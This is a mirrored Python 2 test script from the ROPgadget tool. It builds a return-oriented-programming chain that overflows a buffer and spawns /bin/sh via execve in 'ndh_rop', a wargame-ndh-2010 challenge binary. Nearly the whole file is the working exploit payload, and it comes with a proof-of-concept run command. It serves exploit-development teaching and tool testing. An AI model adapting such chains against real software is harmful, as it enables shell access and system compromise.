mirror of
https://github.com/JonathanSalwan/ROPgadget
synced 2026-06-08 11:25:23 +00:00
Jonathan Salwan
48 lines
1.7 KiB
Python
48 lines
1.7 KiB
Python
#!/usr/bin/python2
|
|
# Test RopGadget payload in ndh_rop binary
|
|
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
|
|
#
|
|
# poc: ./ndh_rop "$(python2 ./exploit.py)"
|
|
|
|
from struct import pack
|
|
|
|
p = "a" * 12
|
|
# execve /bin/sh generated by RopGadget v3.1
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "/bin"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a4) # @ .data + 4
|
|
p += pack("<I", 0x080a4be6) # pop %eax | ret
|
|
p += "//sh"
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a8) # @ .data + 8
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
|
|
p += pack("<I", 0x08048144) # pop %ebx | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x080c5dd2) # pop %ecx | ret
|
|
p += pack("<I", 0x080cd9a8) # @ .data + 8
|
|
p += pack("<I", 0x08052bba) # pop %edx | ret
|
|
p += pack("<I", 0x080cd9a8) # @ .data + 8
|
|
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x08048ca6) # inc %eax | ret
|
|
p += pack("<I", 0x080483f5) # pop %ebp | ret
|
|
p += pack("<I", 0x080cd9a0) # @ .data
|
|
p += pack("<I", 0x08048caa) # sysenter
|
|
|
|
print p
|